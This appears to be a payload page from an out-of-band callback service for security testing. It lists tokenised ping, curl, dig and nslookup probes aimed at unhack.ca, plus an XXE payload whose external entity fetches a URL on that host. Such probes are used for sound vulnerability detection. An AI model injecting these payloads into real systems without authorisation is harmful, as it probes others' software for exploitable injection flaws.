$ ping -c1 -p 00fea2cc3a9bb5efbf2e5b012b8dc400 unhack.ca
 

$ curl http://unhack.ca/p/fea2cc3a9bb5efbf2e5b012b8dc4
 

$ dig fea2cc3a9bb5efbf2e5b012b8dc4 @unhack.ca
 

$ dig fea2cc3a9bb5efbf2e5b012b8dc4.ns.unhack.ca
 

C:\> nslookup fea2cc3a9bb5efbf2e5b012b8dc4 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/fea2cc3a9bb5efbf2e5b012b8dc4">]>
    <foo>&xxe;</foo>